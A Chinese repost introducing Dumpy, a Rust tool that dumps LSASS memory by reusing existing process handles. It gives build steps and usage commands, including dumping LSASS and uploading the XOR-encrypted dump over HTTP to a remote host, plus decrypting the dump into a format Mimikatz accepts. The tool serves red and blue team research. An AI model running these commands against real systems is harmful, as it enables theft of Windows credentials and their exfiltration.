Dumpy:一款针对LSASS数据的动态内存取证工具

2024-08-22 16:36

本文主要是介绍Dumpy:一款针对LSASS数据的动态内存取证工具,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

关于Dumpy

Dumpy是一款针对LSASS数据的动态内存取证工具,该工具专为红队和蓝队研究人员设计,支持重新使用打开的句柄来动态转储 LSASS。

运行机制

Dumpy可以动态调用 MiniDumpWriteDump 来转储 lsass 内存内容。此过程无需打开 lsass 的新进程句柄,也无需使用DInvoke_rs。

为了在不调用 lsass 上的 OpenProcess 的情况下获得有效的进程句柄,系统中的所有进程句柄都使用 NtQuerySystemInformation、NtDuplicateObject、NtQueryObject 和 QueryFullProcessImageNameW 进行分析。

在将内存转储存储到磁盘或通过 HTTP 发送之前,该工具会使用 NTFS 事务对其进行异或运算。

工具要求

Rust

cargo

工具安装

接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

C:\Users\User\Desktop> git clone https://github.com/Kudaes/Dumpy.git

然后在release模式下编译项目代码并执行即可:

C:\Users\User\Desktop\Dumpy\dumpy> cargo build --releaseC:\Users\User\Desktop\Dumpy\dumpy\target\x86_64-pc-windows-msvc\release> dumpy.exe -h

如果您想要为 x86 系统编译该工具,请修改文件 .cargo\config 中的选项“target”的值(例如:target =“i686-pc-windows-msvc”)。

工具使用

Usage: dumpy.exe --dump|--decrypt [options]Options:-h, --help            打印工具帮助信息你--dump          转储Lsass数据--decrypt        解密之前生成的转储文件-f, --force            通过竞争条件强制服务暴露lsass句柄、-k, --key             加密密钥 [默认: 1234abcd]-i, --input            加密转储文件 [默认: c:\temp\input.txt]-o, --output          目的路径 [默认: c:\temp\output.txt]-u, --upload          上传URL

工具运行演示

dump命令

它将执行转储 lsass 的主要逻辑。默认情况下,它将结果存储在当前目录中具有随机名称的 xored 文本文件中。upload 选项允许通过 HTTP 将内存内容发送到远程主机,从而避免在磁盘上创建 xored 文件。相关命令执行如下:

C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload

使用竞争条件中强制暴露lsass句柄,并结合force参数:

C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload --force

decrypt命令

此操作允许以与 Mimikatz 等工具所期望的格式相同的格式获取解密的内存转储。它需要 xored 内存转储、加密密钥和输出文件路径作为参数。如果 xored 文件是使用 HTTP 上传的,则需要在解密过程之前对内容执行 base64 解码:

C:\Temp> dumpy.exe --decrypt -i xored.txt -o decrypted.txt -k secretKey

许可证协议

本项目的开发与发布遵循GPL-3.0开源许可协议。

项目地址

Dumpy:【GitHub传送门】

参考资料

https://github.com/Kudaes/DInvoke_rs

https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c

https://twitter.com/splinter_code

https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html

这篇关于Dumpy:一款针对LSASS数据的动态内存取证工具的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1096811

相关文章

基于Python开发Windows屏幕控制工具

《基于Python开发Windows屏幕控制工具》在数字化办公时代,屏幕管理已成为提升工作效率和保护眼睛健康的重要环节,本文将分享一个基于Python和PySide6开发的Windows屏幕控制工具,... 目录概述功能亮点界面展示实现步骤详解1. 环境准备2. 亮度控制模块3. 息屏功能实现4. 息屏时间

SQLite3命令行工具最佳实践指南

《SQLite3命令行工具最佳实践指南》SQLite3是轻量级嵌入式数据库,无需服务器支持,具备ACID事务与跨平台特性,适用于小型项目和学习,sqlite3.exe作为命令行工具,支持SQL执行、数... 目录1. SQLite3简介和特点2. sqlite3.exe使用概述2.1 sqlite3.exe

SQL Server修改数据库名及物理数据文件名操作步骤

《SQLServer修改数据库名及物理数据文件名操作步骤》在SQLServer中重命名数据库是一个常见的操作,但需要确保用户具有足够的权限来执行此操作,:本文主要介绍SQLServer修改数据... 目录一、背景介绍二、操作步骤2.1 设置为单用户模式(断开连接)2.2 修改数据库名称2.3 查找逻辑文件名

基于Python实现一个Windows Tree命令工具

《基于Python实现一个WindowsTree命令工具》今天想要在Windows平台的CMD命令终端窗口中使用像Linux下的tree命令,打印一下目录结构层级树,然而还真有tree命令,但是发现... 目录引言实现代码使用说明可用选项示例用法功能特点添加到环境变量方法一:创建批处理文件并添加到PATH1

canal实现mysql数据同步的详细过程

《canal实现mysql数据同步的详细过程》:本文主要介绍canal实现mysql数据同步的详细过程,本文通过实例图文相结合给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的... 目录1、canal下载2、mysql同步用户创建和授权3、canal admin安装和启动4、canal

使用jenv工具管理多个JDK版本的方法步骤

《使用jenv工具管理多个JDK版本的方法步骤》jenv是一个开源的Java环境管理工具,旨在帮助开发者在同一台机器上轻松管理和切换多个Java版本,:本文主要介绍使用jenv工具管理多个JD... 目录一、jenv到底是干啥的?二、jenv的核心功能(一)管理多个Java版本(二)支持插件扩展(三)环境隔

使用SpringBoot整合Sharding Sphere实现数据脱敏的示例

《使用SpringBoot整合ShardingSphere实现数据脱敏的示例》ApacheShardingSphere数据脱敏模块,通过SQL拦截与改写实现敏感信息加密存储,解决手动处理繁琐及系统改... 目录痛点一:痛点二:脱敏配置Quick Start——Spring 显示配置:1.引入依赖2.创建脱敏

Python使用smtplib库开发一个邮件自动发送工具

《Python使用smtplib库开发一个邮件自动发送工具》在现代软件开发中,自动化邮件发送是一个非常实用的功能,无论是系统通知、营销邮件、还是日常工作报告,Python的smtplib库都能帮助我们... 目录代码实现与知识点解析1. 导入必要的库2. 配置邮件服务器参数3. 创建邮件发送类4. 实现邮件

CnPlugin是PL/SQL Developer工具插件使用教程

《CnPlugin是PL/SQLDeveloper工具插件使用教程》:本文主要介绍CnPlugin是PL/SQLDeveloper工具插件使用教程,具有很好的参考价值,希望对大家有所帮助,如有错... 目录PL/SQL Developer工具插件使用安装拷贝文件配置总结PL/SQL Developer工具插

详解如何使用Python构建从数据到文档的自动化工作流

《详解如何使用Python构建从数据到文档的自动化工作流》这篇文章将通过真实工作场景拆解,为大家展示如何用Python构建自动化工作流,让工具代替人力完成这些数字苦力活,感兴趣的小伙伴可以跟随小编一起... 目录一、Excel处理:从数据搬运工到智能分析师二、PDF处理:文档工厂的智能生产线三、邮件自动化: